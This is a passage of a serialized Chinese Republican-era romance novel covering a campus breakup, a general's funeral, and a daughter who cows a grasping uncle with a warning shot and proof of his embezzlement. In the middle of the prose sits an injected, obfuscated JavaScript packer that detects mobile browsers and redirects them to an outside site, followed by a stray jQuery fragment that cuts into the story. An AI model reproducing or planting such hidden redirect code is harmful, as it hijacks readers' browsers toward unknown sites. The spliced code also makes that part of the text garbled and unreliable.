硬着脖子道:“即便怀孕的传闻是假的,你和郑学长恋爱的事,总不能也是假的吧?我看见你们......你们举止很亲密呢。”声音越说越轻,多少透露出心虚的意味。 这一下,众人的目光不光看向白瑾琪,也同样看向站在她旁边的郑家树了。 郑家树的心情从刚才起便激荡不已,他承认,若真要追溯到最初,自己对白瑾琪的感情是不大认真的,那是他错了!此前白瑾琪的假设论吓着了他,以至于这段时间他都刻意疏远,想必这也很伤瑾琪的心,这又是他的错!如今自己心爱的女孩受人非议,难道自己还不能拿出一点担当吗? 他心里忽而又涌上一股热烈的豪情:为着受到多一点人的追捧,难道自己有了爱人也不能承认吗?没有这样的道理。 郑家树被这念头鼓动着,对于白瑾琪的爱慕,也一下一下地叩击着心门,刚要开口回应,想不到白瑾琪快他一步,一开口,又是一声冷哼。 “举止亲密?怎么样算举止亲密?郑社长和这一剧目的女主人公,举止也很亲密哩!表演里说的‘入戏'',你不晓得吗?照你这样说,咱们社长岂不成了见谁都爱的混账?都是胡扯!” 这是什么意思?和他亲密是‘入戏'',所以现在是要‘出戏''了吗?郑家树简直要被她话里的冷漠刺伤了。 只是还不等他表露出来,又听另一个同学道:“指不定真是假的,我听我们班的姚雯说,她带着她朋友去问过白同学的,人家当时就否认了。还说家里人都反对艺术表演,要是再找一个演戏剧的男友,家里人能同意吗?” 此话一出,立刻有人附和道:“对对对,我好像也听说过,白同学还很伤心哩,担心自己的艺术之路要受到阻拦,姚雯说还安慰了她几句。” 当下议论声又起,一边倒地帮白瑾琪说话,仔细听来,竟没一个相信白瑾琪会和郑家树谈爱情的。至此,舆论的风向已然彻底颠倒了个个儿! 只是对于郑家树而言,这些议论声不亚于是从四面八方泼来的一盆盆凉水,将他一颗火热的心浇得湿透。他对于白瑾琪曾经说过这样的话,简直有些不可置信,可一想到自己也曾否认过两人的关系,有什么立场指责她呢?心里又没过懊恼悲凉。 他下意识握住白瑾琪的手臂,目光执拗地追着人不放,“瑾琪”两个字刚喊出一个“瑾”,就被娇俏的少女狠瞪了一眼,只好改口道:“白同学,我们谈一谈。” 白瑾琪伸着手指指了他的手,正色道:“快放开,拉拉扯扯像什么样子,还以为现在是在演戏吗?等一下,又要被人说是‘举止亲密''了。” 郑家树咬着牙,再不情愿也只能先放手。 白瑾琪这才满意了一点,说:“我是该和你谈一谈,关于谣言中伤我的事,社里总要给我一个说法。不然,我也没心情排练了!”说罢,把手上的台词一丢,挺着胸膛先行走出了小礼堂。 郑家树追在她身后,好几次想要伸手拉人,都受到了白瑾琪的眼神警告。直到两人走进一间空教室,确定没有第三者的耳目了,他才终于忍不住地将白瑾琪抱到怀里,半愧疚半委屈道:“瑾琪,你是存心说那些话气我的吗?我知道我做错了。” 白瑾琪已然决定要和他拗断了,当然不会费心哄他,直接挣脱了怀抱,道:“你当然做错了,我看你对感情也不大用心的样子,干脆我们好聚好散。”两手清脆地一拍又分开,好一个“一拍两散”。 郑家树不可置信地望了她,那一张俊脸配上这副神情,直如被雨淋湿的犬科动物,叫屈说:“什么叫好聚好散?我们都已经、已经——你不用对我负责任吗?” 白瑾琪一脸荒唐地看着他,“哈哈”干笑了两声道:“我没有听错吧?我还没有向你问责,你倒要叫我负责任了!多么可笑!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14937954|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑家树抢道:“我愿意负责任!你说我不够用心,放在从前,这话很对,我认!可我现在待你的心意,是千真万确的呀!要怎么让你相信呢?不如就约了双方的长辈出来,谈一谈婚事吧!” 他从前一贯是从容又风度翩翩的样子,鲜少有这样情绪激动的时刻,难得激动一回,说出的话差点把白瑾琪吓死。 赶紧驳回道:“说什么婚事!年纪轻轻就走进这座坟墓里,我发疯吗?你也不要标榜自己的心意,不拘你现在感情多深,那也迟了!” 郑家树看她一副无动于衷的样子,真是毫无办法,呼吸都急促了起来,又要试图牵她的手,一面道:“哪里迟了?感情的事,只有论真切,没有论早晚。何况我们两个,谁也没有喜欢上别人,那就不算迟。” 白瑾琪躲着他,干脆把手背到了背后,强硬道:“怎么不论早晚?譬如一个母亲抛下了自己的孩子,等到孩子长大了出息了,又跑回来忏悔,说妈妈爱你,从没有一天不惦记你,这是什么用意?这不是笑话吗?迟来的感情,可不是比草还贱?” 郑家树一点也说不过她,到最后,竟生出一丝恼意,也不知是对白瑾琪的无情,还是对自己的无力。破罐子破摔般道:“你说我没有用心,那么你呢?设若你家里人果真坚决反对,那你同我恋爱,不就是在玩弄我吗?还是你所说的反对,根本也是个谎话呢?” 白瑾琪当然只是想玩爱情的游戏,并不用心,可是反过来想:好在自己不用心!设若自己果真痴心一片,那才是亏大了! 是以心里一点“玩弄别人”的愧疚也无,又把皮球踢了回去,道:“你那时候既不顾念我,也不站在我这边,我不这样说,等着被你那群爱慕者欺负死吗?我们女子凡事以保护自己为优先,哪里做错了?如今你拿这点来指责我,我更要看不起你了!” 郑家树本来也是孤注一掷,想使一个激将法,想不到反而弄巧成拙,听到白瑾琪说“看不起他”时,脸色煞白一片,当下抿直了嘴唇,再不说话了。 白瑾琪等了几秒,对面都不再发起进攻,料想是被自己说服了,这才乘胜追击道:“咱们之间的事,不必再去提,但这一次造谣中伤的事,你预备怎么办呢?” 她冷哼了一声,“你今天也都听到了,戏剧社那群人,把我议论得多么不堪,你们这些戏剧社的领袖,当真一点不知道吗?没有加以制止,于公,你这个社长就有管理不力的责任;于私,呵,你更脱不掉干系了!” 郑家树垂着眸子望了她,那幽深的眼睛里似乎藏了许许多多的情绪,半晌才泄气一般,开口道:“那你要我怎么样呢?我都照做。或者我向所有人宣布我的过错,而你是我的——” 白瑾琪赶紧打断他:“你又来了!咱们两个当然是分手!不然我今天说过的话,岂不成了天大的笑话?我的要求也简单——我要你代表戏剧社公开表示道歉,你不是说你之前做错了吗?那就拿出一点补偿的诚意来呀。” 白瑾琪的诉求多么明确,简直没有任何转圜的余地,郑家树垂在两侧的手攥得死紧,终于终于,说了一句“好”。 只是那神情是很落寞的,和舞台上意气风发的他,生活里风度翩翩的他,和从前任何一个时刻的他,都不一样。 第20章【VIP】 第20章 第 20 章 唯其是他的有心,更反衬…… 因是前军务部总长的丧礼, 来的客人便十之八九是他生前的同僚,其中不乏身居要职的政府官员,更有蒋兆明这样一位副总理的候选人特来致悼词, 故而现场的警卫安保布置, 那是不成问题的。 正如白瑾瑜所料, 白齐昌果然也觍着脸来参加追悼仪式了, 却没有带吴桂芝和白齐荣。他也嫌这二人跌他的面子, 说话不着调就算了,见了枪杆子金戒子就大呼小叫,忒没见过世面! 大事当前,还是得靠他。 自然了, 他敢再探白公馆这个“龙潭虎穴”, 不能没有自己的目的。 一来他自认是白齐盛的亲兄弟, 很有资格排在受邀之列。二来,想想他大哥是怎样的人物?平日结交的, 还能是无足轻重的小角色吗?料想那么多的大人物汇聚一堂, 要搭上几句话, 攀一攀关系, 那还不是轻而易举的事? 然而真等到了白公馆,却发现浑然不是那么一回事。 门里门外随处都看得见卫兵, 站得树干子一般直, 有些在胸前抱着长枪, 有些则在腰间佩着手枪, 那架势可不是昨天区区两个卫兵可比的了,这就先把他的胆气削去了大半。 再看那一个个打扮得体的来客,谁都是很悲切似的木着一张脸,不说根本没人愿意搭理他这么个来历不明的小人物, 白齐昌刚想上去攀谈一二呢,因他扯了个大大的笑脸,还受到不少目光上的谴责。 并且他也留意到了,自从他进了公馆的大门,便有两个佩手枪的卫兵不远不近地跟着他,恐怕这也是白瑾瑜的手段,这是要将他监视到底呀!但凡他有什么妄动,身上就得添两个窟窿眼! 至此,已然知道这条攀权富贵的路子,是走不通了。 于是照旧把那怨恨的心思投注在白瑾瑜的身上,于白公馆偌大的门厅里搜寻她的身影。 白齐盛去世了,她便是主持这场丧礼的主人翁,要找她是不难的。不多时,果然在门厅靠近小客厅的一侧看见了自己那大侄女儿,和一个青年男子并排站在两张长桌后头。 那里大约是个核实接待的所在,只见但凡来客,都先往那边去。递一个白信封,由那男子在纸上做一笔记录,再由白瑾瑜递去一枚黑袖章,若是位太太或小姐,则递去一朵黑纱结。 寻常人看见这场景,无非觉得白瑾瑜很有主人翁的意识,这样的亲力亲为,无论对丧礼本身还是对客人,都显示出很重视的意味。 白齐昌的念头却总往偏了转,心想,我也是打听了才知道,这白瑾瑜也有二十四五的年纪了,这个年纪的女子,哪儿有不成家的?即便没成家,亲事也一定是说上了!现下看她和那男子互相配合,时不时还商量一句的样子,恐怕就是她未来的夫家了! 于是倒着重打量起那男子。 先前他是坐着的,还看不出什么,眼下正巧他站起来,竟是很高大的身形!再看那张冷脸,白齐昌已然觉得他不好招惹了,冷不丁那刀子似的眼睛就往自己这里扫过来,白齐昌心里一抖,吓得立刻转身避了一避。 恼恨道,原本想着她一家子柔弱女眷,自己胡搅蛮缠一下,总能捞着一点好处,想不到她还有个靠山哩!搞得不好,自己空手而回不说,被修理一顿,那也是难说! 阴差阳错之下,竟然惊惧横生,把那满脑子的歪魔邪道给震慑住了。居然老老实实地猫在一众人群之中,也不闹事也不叫嚣,真就参与到了丧礼之中。 宾客们被领到了一楼新搭建的灵堂处,那里摆着奠字并花圈,正中的位置,则是一只小小的骨灰盒子。见此情形,人群中已经逸出了几声低泣与叹息。 这首先,就是亲属与同僚致悼词,白齐昌半点不感兴趣,在看见白瑾瑜走上前时,甚至无声做了个怪相。也好在他缩在很靠边的角落里,身边又有立柱半挡着,没人留意到他。 白齐昌掩着哈欠,做出抹泪的样子,两只眼前却偷摸着四处乱瞟。前头那黑压压的一片背影里,就那男青年的个头最高,一眼就能认出来。再看他又是站在第一排的位置,倒更坐实了白齐昌先前对他的猜测。 倏地,他瞧见那男人动了一下。原来是他旁边的小姐打了个晃,他便伸手扶住了。 扶一把就扶一把吧,可他握着人家小姐的胳膊之后,竟还不松手了!再看他偏过头的侧脸,哪儿还有什么目光如刀啊!瞧瞧那脸上的忧心关切,隔开三四排人他都看得真切,要说对这小姐没点意思,他头一个就不信! 白齐昌的精神瞬间又高涨起来,暗自揣度起他们的关系。抵不住这抓心挠肺似的好奇心,终于和边上一位妇人打听道:“前排最靠边那小姐是谁?” 那妇人古怪地瞅了他一眼,说:“白公馆的二小姐,你都不认识吗?” 白齐昌简直要在心里笑出声来!什么另有所爱,什么三角关系,还是他想浅了哩!都说首都人追求外国人那一套时髦,放得开顽得大,哈!瞧瞧这白公馆里头,可不就是大玩特玩,乱成了一团! 再说白瑾瑜,她在台上念着悼词,心里多少有点不是滋味。柳世新直到今天都没有现身,只差几天,她原本就要把这人引荐给爸爸的呀! 她站在高出一级的台阶上,心情复杂地望着眼前一众宾客,忽见里头一道颀长的身影站在靠后的位置,目光定定地落在自己所在的方向,似乎是冲她关切地一笑。是了,这也是她心情复杂又兼具惊讶的一个原因。 孟西洲会来参加丧礼,她是真没有想到的,拟定好的邀请名单里,本来也没有他的名字。是故乍见到他时,她拿袖章的动作都停顿了一下。 对方也不催促,知道她必定情绪很低落,话也说得委婉缓和:“密斯白,节哀。我虽然没有受到邀请,不过想到家里的船务公司和密斯白多有合作,这其间就受到白总长的关照,还是觉得要不请自来一趟,请不要见怪。” 他这话说得很诚恳,白瑾瑜当下就谢道:“哪里,孟先生太有心了,我不知说什么好。” 可唯其是他的有心,更反衬出别人的无心。连孟西洲这样非亲非故的人,单单因为合作久了的缘故,也知道来做一个最后的送别;她和柳世新又是多少年的情谊,他却不知道要来吗? 白瑾瑜起先含着这样一份苦涩的情绪念着悼词,到后头,对白齐盛的追思倒把这小情小爱给盖过了,动情之处,甚至控制不住地掉了两滴眼泪。 这之后的进程倒很顺利,在蒋兆明致过悼词后,便是由她抱了骨灰盒子过白棚,一路坐了汽车往墓园里去。将骨灰盒落葬时,免不了姐妹几个抱着痛哭一场,结束了,再由汽车将客人带到丰顺大酒楼吃豆宴。 这之后,寻常客人就可以由主人家送着离开了,那些格外亲近的,也可以留下来陪伴谈话。 白齐昌本来也想跟着去蹭一顿,却在过白棚的时候,就被眼尖的管家“请”去了小客厅,说大小姐对他另有安排,请他稍安勿躁。于是乎根本没出去白公馆的大门,连午饭都是厨房上了两个菜给应付了一顿。 他在小客厅里晃了半天,刚想伸手碰点什么,边上一个卫兵就咳嗽一声以做警示,白齐昌便只能讪讪地把手收回。 等得几乎要在沙发上睡着了,这才听见有人上楼梯的脚步声,并絮絮叨叨的说话声。他精神一震,立刻跳将起来探头张望——这一家女眷可算是回来了!他还着意看了眼其中挽着长发的二小姐,见她是一张莹白如玉的瓜子脸,有几分憔悴就有几分楚楚可怜,忍不住暗自咋舌。 在白齐昌想天想地的时候,众人显然也看到了他。 陈姨太先就拉着白瑾琪往后退了一步,躲到白瑾瑜的背后,小声地急道:“诶呀,怎么这人还在!” 白瑾璎没见过他,默默地拧了拧眉头。倒是白瑾瑜很从容不迫的样子,非但没有往后退,反倒往前踱了几步,说:“如今大事办完了,也该料理料理你先生的事了。” 陈姨太躲在后头忿忿地嘀咕:“我的大小姐!你不把他轰出去,怎么还尽往家里招呀!真是要死了,要死了!” 这话站在前头的白瑾瑜大概听不见,但被她拽在身边的白瑾琪却听得很清楚,心里对自己的母亲倒不大赞同。 其实,昨天那一场纠纷,她也算是在场人之一呢。她在看望过白瑾璎之后返回小客厅,刚好赶上这个白齐昌狮子大开口讨要补偿,那气氛实在带着杀气,她不敢往前冲,便躲在拐角后面偷听,把大姐姐招呼卫兵,到她把桌子拍得砰砰响的经过都听了个全。 心里竟油然而生一种迎敌而上的豪情! 等陈姨太回了房间,刚想问问她详情,她却一个劲儿只知道抹眼泪,口中念叨着完了完了,这下完了。那抛洒的泪珠子,俨然是把她的满腔豪情给扑灭了,也就不敢多问,只敢在心里闷闷地想:敌人都打上门了,哭顶什么用呢? 此时此刻,白瑾琪看着面前几步开外的白瑾瑜,她的背脊挺得笔直,分明撑起一段秀丽的弧线,可她却头一次觉得那背影竟是可以用“伟岸”来形容的。 好像躲在那背影之后,便是一处很安全的所在。 20-30 第21章 第 21 章 这个说法倒是很新鲜,那…… 随着白瑾瑜的一声“这边请”, 白齐昌被单独领进了二楼的书房。 她依旧带着两个配手枪的卫兵,一个站在她身后,一个则站在门边, 把守着出入书房的大门。那守门的卫兵站定后便从皮套子里取出配枪, 把那弹匣子拆开又按紧, 似乎是在检查趁手的程度, 手法灵活得像是在变一套什么戏法, 只是那响亮的两声“咔哒”声,已然具备了足够的威慑力量。 白齐昌整个人哆嗦一下,眼看离开的退路上有“重兵”把守,自己是只有前进这一条道路了。 干脆咬了咬牙, 皮笑肉不笑地半拉着嘴角, 话里有话道:“大侄女好威风, 只是何必对我这个亲叔叔都拿枪拿炮地威吓?我到底年长你一辈,类似狐假虎威的事, 也见过不少了。” 白瑾瑜像是听了一句有点意思的笑话, 掀着眼皮看着他问:“这个说法倒是很新鲜, 那白先生说说看, 我是狐呢?还是虎呢?” 白齐昌清了清嗓子,略微挺起了胸膛道:“瞧大侄女说的, 你是什么, 我怎么好瞎说。不过你背后那虎嘛, 我倒是窥见一二了。”他忍不住似的笑了两声, 甚至揶揄一般冲白瑾瑜挤了挤眼睛,“听人家叫他蒋先生,还是海关的副总长,那势力确实不小了。我一个平头百姓, 当然是惹不起,惹不起。”说罢,还虚情假意地拱了拱手。 他一个“蒋”字刚吐出来,白瑾瑜便发了声冷笑,说:“海关副总长的位置是不低,不过你也太小看我白家,还不至于要去借他的势。” 白齐昌的本意,是料定了这三人间有点子瓜葛,自己只要透露点口风,点到为止,兴许白瑾瑜出于心虚,也能破个小财封他的口。想不到对面是断然的否认,听那口气,还有点不服气又瞧不上眼的意思。 他便有些心急,说:“这放在从前,我大哥当然是最大的靠山了,不过今时不同往日呀。我也理解,我大哥一走,剩下你们这一屋子女子,不抓紧一个男人相帮,那是很不容易的” 他兀自说得得意,以为自己料事如神,没注意白瑾瑜早就放沉了脸色,冷冷地打断他道:“白先生这一句话,可是把我和姓蒋的都踩在脚底下了,我原本只觉得你自己不成个样子,瞧不起女人,现在才知道你连男人也瞧不起。告诉你,这里可不是你们犄角旮旯的乡下,他蒋牧城要是能中‘美人计,也坐不到今天这个位置。” 这一段话,可把白齐昌讽刺了个彻底,那面色瞬间涨红得猪肝一般,恼羞成怒地抽着气道:“他不能中你的美人计?哈!架不住你们人多势众呀!你不行还能换你妹妹上,我看他对那个二小姐,是晕陶陶得很哩!啧啧,蒋先生,我看他不该姓蒋,倒该姓齐——” 话没有说完,只听一声“砰”的巨响炸开在脚边,下一秒,他整个人便醒神一般,哆嗦不止地瘫坐到地板上。 原来白瑾瑜的一张脸已沉的滴水,再也听不下去,拉开书桌的抽屉摸出一把小手枪,往白齐昌的脚边开了一枪。 她的脸色瞧着只是冷,心里却是气得发狠了,故而那一枪开得尤其果断,即便开过了一枪,胸脯依然剧烈地起伏着。不过看白齐昌烂泥似的软在地上,半天也不见站起来,才终于有一种报了仇的痛快,心里愤怒的火焰也逐渐平息下来。 白齐昌瘫在地上,这才体味到当初自己的爷爷能抱着一包银元全须全尾地回来,那实在是不容易的!自己把要钱这一件事,也想得太简单了! 他真怕白瑾瑜心气不顺,再给自己飞一颗子弹,也不敢站起来,似乎蜷坐在地上缩小自己,那也是一种保护。结结巴巴地发着抗议:“警、警察!叫警察!这是动用私刑,草菅人命哇!这、这还有王法吗!” “好啊!”白瑾瑜同样高声地回他,“警察总署李署长的车这会儿恐怕还没开远呢,我这就叫人给他拦回来,光是你那些凭空捏造的污蔑,就能先把你关上四天!对了,再给他看看这些——” 说着,伸手拉开另一边的抽屉,摸出几份文件似的东西拍在桌上。 人说平生不做亏心事,夜半不怕鬼敲门,白齐昌显然不在此列。他先是把叫嚣咽了回去,心虚地伸长了脖子想看看是什么,随即瞥到桌面上那把手枪,又后怕地缩了回来。 白瑾瑜讽刺地哂笑一声,干脆念给他听:“白先生先前说我威风,您也是不遑多让啊。原来你在卫生局挂名了一个差事,不光每月领百来块钱的薪金,还贪墨过政府拨给当地中小学校买纱布红药水的一笔款子,足足有三千块之多,一分也不给学校留。白先生这么贪,也不怕一口吃成个胖子。” 白齐昌涨红的脸色一下又变得刷白,抖着嘴唇,半晌才哀叫着辩解:“不、不是,那不是我” 白瑾瑜气定神闲地一笑,伸手止住他的话,说:“自然了,要抹平那么大一笔账,必定是不少人沆瀣一气的结果。只是别人不露富呀,不像白先生财大气粗,隔天就去金器行买了一个金镯子并两枚金戒子,紧跟着又钻进香衫巷子玩到了半夜,这不显得可疑吗?哦,连你买东西的收据,我可都搜罗到了。” 接着道,“也别觉得你如今被革了职,就万事大吉了,那不能够。要是我把这一件事揭发出去,不说你要把赃款尽数补回,你这个人,也免不了被丢进监狱里反省反省——我也劝劝你,别想着找那些和你一起贪钱的上级帮忙了,有你这个替罪羊被丢出来,你说他们是高兴?还是着急?” 那简直不必去想,有一个顶缸的,还不得绞尽了脑汁把罪名一股脑地往他身上推? 白齐昌这才见识到什么叫“能耐”。他常年住在小地方上,那里的“能耐”,不过是比别人有钱一点,有权一点,买人家恭敬你奉承你,或是仗着卫生局里那点门路,拿人家的工作或店面检查做要挟。如今想想,实在是乡下人不堪入目的小把戏。 不像白瑾瑜,不过一晚上的工夫,自己去过哪里做过什么,竟都能被挖个一清二楚,这才算是手眼通天的“能耐”哇! 这世上,只有光脚的不怕穿鞋的,可偏偏白齐昌偷偷借着白齐盛的势,已然做了许久抖起来的“人物”了,家财也算存了一些,哪里能再落回到一穷二白,再加锒铛入狱的惨境?! 他自作聪明地和白瑾瑜撕破了脸,等对方拿出这一件把柄,他反倒认怂了,硬是讨好地笑了两声,求饶道:“大侄女,何至于此呀?我也不过是想问一句我大哥的遗产,既然他不顾念我,你也实在不愿意,那、那我也没什么可说的呀” 白瑾瑜冷哼了一声,当即反驳道:“什么他不顾念你,我不愿意,可别说得这样委屈。我还是那一句话,我爸爸和你没半点关系,所以他的钱,你也是一分别想拿到!” 说着,她从书桌后头踱出来,倒把刚才那一份文件丢给白齐昌,道:“这材料我要了两份,一份就送给白先生,叫白先生也看看,有没有什么地方遗漏差错,至于另一份么——”白瑾瑜意味不明地笑了笑,“我这个就有个毛病,一听见那些闲言碎语的就烦,一烦了就爱乱翻东西,不要哪一天被我翻出来,我就忍不住往上报了呢?” 这是什么意思,白齐昌当然听得明白,当下表示出决心:“是是是!绝不会!绝不会!” 白瑾瑜状似满意地弯了弯嘴角,居高临下地问:“白先生怎么还坐在地上?地上多凉,还是白先生就喜欢凉?” 在白齐昌抖抖索索爬起来的瞬间,她的嘴角便放了下去,一秒钟也不愿意多敷衍似的,亲自扭开了书房的门把手,冲外头喊了一句:“来人!送客!” 想不到一扭开门,看见的却是靠在走廊墙壁上的白瑾璎,似乎特意等在外头似的,听见她喊送客,便站直了说:“我来送。” 白齐昌哪里还有进书房前的威风,此刻战战兢兢地缩在一边,听见这位二小姐提出送他,真有些惊疑不定。直到跟着她走了半路,也不见她有什么发难,这才敢偷看她一眼。 那张漂亮脸蛋上还带着些病容,全然不同于白瑾瑜的凛然,透着十足的温驯柔弱。尤其那平顺略淡的眉毛与微微向下的眼角,瞧着活像一朵与世无争的睡脸。 下一刻,这睡莲就扭过头对自己道:“听说白先生是从济南特意过来参加丧礼的,真有心了。” 白齐昌吓了一跳,见她说话很客气,这才按着惊慌乱跳的心脏,拿出十成十服软的姿态,试图对这位二小姐诉诉苦,道:“哪里,哪里。只是咱们这位大小姐,脾气实在太坏了呀!我一句话说的她不顺心,就敢拔了手枪对着我射!唉,亏得我和你们爸爸血脉相连,是你们亲叔叔哩——” 他原想博一点同情,想不到这位二小姐拧了拧眉头,说的却是:“白先生别乱说,我父亲哪里来的兄弟?我也从没见过你,是或不是,全凭你先生一张嘴罢了,你说是我父亲的兄弟,怎么证明?” 白齐昌愣了一愣,正是这当口,两人已经走到了白公馆的大门。白瑾璎冲旁边的听差点头示意,那听差便打开了大门,等着他们出去。 白瑾璎伸手做了个“请”的手势,白齐昌下意识便迈出了门口。回头再想分辨几句,却听这二小姐慢悠悠地说了最后一句,“可别说什么血缘关系这样让人发笑的话了。白先生不都知道吗?我爸爸可是只剩下一盒骨灰了。” 第22章 第 22 章 那不是在献殷情,是在撬…… 这一天的晚饭, 当然是各管各静静地吃了,何况丧礼结束后仍有不少收尾的工作,未必就能找到白瑾瑜的人。 白瑾璎在房间里喝了两碗热粥, 再配一碟凉菜, 就算把一顿晚饭草草地对付过去了, 随后便起身去找白瑾瑜。在撵走了白齐昌之后她又出了趟门, 算一算时间, 再望一眼窗外擦黑的天色,心想她总该回来了。 对面的卧室门紧闭着,不见什么动静,白瑾璎便计划去书房找一找她, 不料也没有人, 接着往楼下走, 倒在一楼的小客厅外听见说话声。走进去一瞧,白瑾瑜坐在沙发上, 蒋牧城则站在不远处, 身上还穿着外衣, 像是才回来的样子。 大概是自己来之前, 白瑾瑜正说了些道谢的话,蒋牧城对白瑾璎点了点头, 接着说:“不必谢, 凭家父和白伯父的关系, 帮再多忙都是应当的。” 说话间, 手上已经提了刚刚送上来的热茶,另倒了一杯送到白瑾璎的手里。 这一点献殷情的小伎俩,放在从前,白瑾瑜并不会过多计较, 何况白瑾璎本来也是大病初愈,他这样周到地关照她,自己看着兴许还觉得挺舒心。偏偏赶在这样的时候,白齐昌那一通讽刺话还扒在耳朵边没散呢,这个举动便无端让人觉得刺眼。 白瑾瑜只觉得太阳穴突突跳得发疼,满脑子的神经,像给小孩子的两只手没轻没重地拉扯个没完似的,自己怎么揉也不见好。 本来么,蒋牧城和白瑾璎的事,就是爸爸默许的,可如今外头要看她白家的笑话呀!她怎么能允许? 爸爸走后,自己便形同于一家之主了,设若丧礼不过多久,瑾璎就和这姓蒋的走到了一起,叫别人怎么想自己?说她白瑾瑜为了攀权附贵,把妹妹卖出去了吗?这是她决不能忍受之一。 另一点,其实要归罪于单方面断开联系的柳世新。他做出这一副作壁上观的姿态,白瑾瑜也就明白了他的意思,知道这一段关系是非断绝不可了。柳世新既没有担当,亦不念旧情,由这一件事情,还不足以窥见一二吗?如有大祸临头,这样的人,是一万分靠不住的。 爸爸是永远地走了,那不必去说;柳世新这一位爱人,也终究走到了分别的时刻;此外白家落败,生意上势必受到影响,名门小姐之间也势必有人奚落,已经落入了这人生的低谷,怎堪再忍受蒋牧城把瑾璎哄走? 故而这小小一个端茶递水的动作,落在此刻白瑾瑜的眼中,那不是在献殷情,是在撬她的保险箱,在剜她的肉哇! 那一边,蒋牧城并没注意到白瑾瑜明显冷淡下来的脸色,他瞧着白瑾璎把温热的茶水用两手捧着,抿着的嘴唇终于透出一点血色,垂首静静站在这里,心里便升起许多怜惜。 轻声道:“有什么需要我帮忙的,都可以说。我知道你们姐妹几个心里一定不好受,呆在公馆里,也难免触景伤情,或者你们想去安静点的湖边山上住几天,养一养精神,我也可以代为安排住处。又或者——” 还没有等他下一个或者出来,白瑾瑜便冷淡地打断了,“不必再或者了。爸爸虽走了,存款房产,到底还留了一些,这里不缺钱也不缺住,用不着你眼巴巴地来帮这些不必要的忙。” 这句话里,实在带着十足的火药味。蒋牧城瞬间皱起眉头,已经是很不痛快的神色,但硬生生憋着口气,没有把火发出来,说:“我知道你心烦,不和你计较。但白瑾瑜,想想清楚你该不该冲我发脾气。” 怎么不该?怎么不该?瞧瞧这宽宏大量的语气,活像自己多么无私似的! 白瑾瑜像是被点了引线的炮仗,那火气直往脑顶上冲,当下冷笑着问道:“是呀,是我不应该,要是我们想去山上,敢问住处是哪里?你们蒋家在香山上的宅子吗?那儿倒是既安静又宽敞,真是多谢你了。” 下一刻,那嘴角下沉的口中便溢出一声冷哼,骂道:“蒋牧城,你安的是什么心思?谁不知道那产业姓蒋,你让人家怎么说我们?人家会说:白总长一走,白家四个大活人,居然眼巴巴的要靠蒋家来养呢!还有更龌龊更难听的,说你蒋某人兴许要改——” 剩下那半句顶厉害的,硬是给人捂住了嘴,咽回了嗓子里。 白瑾璎在边上听着,早就是胆战心惊了,自己姐姐那张嘴太厉害,平时家里就没有人说的过她。再去看蒋牧城的脸色,那更是山雨欲来似的阴沉,白瑾璎吓得手上一抖,杯子杯盖发出“当啷”一声,赶忙放回到桌上,冲过去捂了白瑾瑜的嘴。 一面小心翼翼地打着圆场:“姐姐赶紧去休息吧,你都累得说胡话了。我、我以前赶稿时也这样,想的东西太多,便觉得脑子不够用,说话也前言不搭后语” 一面又去偷看蒋牧城的脸色,看他似乎面色稍霁,赶紧道,“蒋二哥也是,这几天跟着我们忙前忙后,快回家休息吧。天色也不早了,我、我送你!” 说罢,赶忙引着蒋牧城往外走。直到走出了小客厅,把两人彻底地拉开了,想来他们也不能冲回去再打上一架之后,那阵紧张才算过去。 白瑾璎自认最木讷了,拿这两个厉害又固执的人没有办法,只能两头劝,在和蒋牧城并肩往公馆大门走时小声道:“瑾瑜不是那个意思,你帮了这么多忙,她心里都记着的,你千万别计较。” 蒋牧城闻言停住脚步,漆黑的眸子自上而下地落到她身上。白瑾璎被这直来直去又久久不收回的视线看得不大自在,刚想往后退一步,倒听见蒋牧城沉沉地叹出一口气,说:“我也没有那个意思。” 他指的是白瑾瑜方才说出口和没有说出口的那些荒唐言论,白瑾璎知道,可一想到兴许真有这种损坏名誉的流言出现,还是嫌恶地拧了拧眉头,不想多提似的,飞快地点了点头。 蒋牧城应了一声,接着说:“白瑾瑜是牛脾气,随她怎样去想吧。但要是你也这样想,我——” “没有没有,怎么会!”白瑾璎几乎是脱口而出的否认,蒋牧城在丧礼期间做的种种,已然是很难得的雪中送炭了,自己怎能寒了他的心?只是太过心急,下意识就想去拉他的胳膊,就像平日里拉瑾瑜的那样,手伸到一半才觉得不妥,着急忙慌地收回,窘迫地背到身后。 蒋牧城的目光盯着她伸出又缩回的手,眼底忽明忽灭,到底没有说什么。 出了公馆大门,前头便是一片草坪花园的陈设,中央立着一座小天使的喷泉。如今是夏季时节,晚上虽有一点风,大体还是暖和的,不然,蒋牧城也不会让白瑾璎跟着送到门外。 分别之前,蒋牧城还是又叮嘱了一遍:“我刚才说的是真的,有什么要帮忙的地方,只管和我说。” 白瑾璎望了他一眼,思忖似的,又退开几步,抬头望了望伫立在身后的静谧的白公馆洋楼,幽幽地说:“我没有什么需要帮忙的地方,真要说有”她迟疑了片刻,抿了抿嘴唇,“大概,要是我们决定搬地方,我那几箱子书,有许多精装典籍,有的还是专门收来的孤本,我是很舍不得卖的,我想,总也不至于到要卖的地步,可放在哪里却是个问题。” 对于她说的搬家,蒋牧城并没有多问,只是无声地提了提嘴角,说:“这是小事,我一定帮你保管好。” 白瑾璎小声地应了一句,还是抬头望着雪白的洋楼,她的眼睛里闪闪烁烁的,实在有一种依依不舍的哀情,在夜里看来格外明显。 蒋牧城很想安慰她,却不知道说点什么,便跟着一起抬头,没有看洋楼,倒看见挂在夜幕上的一弯白月亮。柔声道:“你看,天上的月亮眼下是缺的,可总有圆满的一日,人生长久,万事万物都是不一定的。” 白瑾璎也看见了,皎白的清辉把那一片夜空照得格外明亮些,只是无论如何那月亮是缺的,便勾起人无端的悲凉,说:“它大概会有圆上的一天,可我现在看着,只觉得像闪着寒光的镰刀,看的人心里很不好受” 话是这样说,可含泪的目光却迟迟地没有收回。 蒋牧城沉默了一瞬,懊恼自己不该提起这个话头似的,缓缓道:“那就不要看了,我送你进屋去吧。” 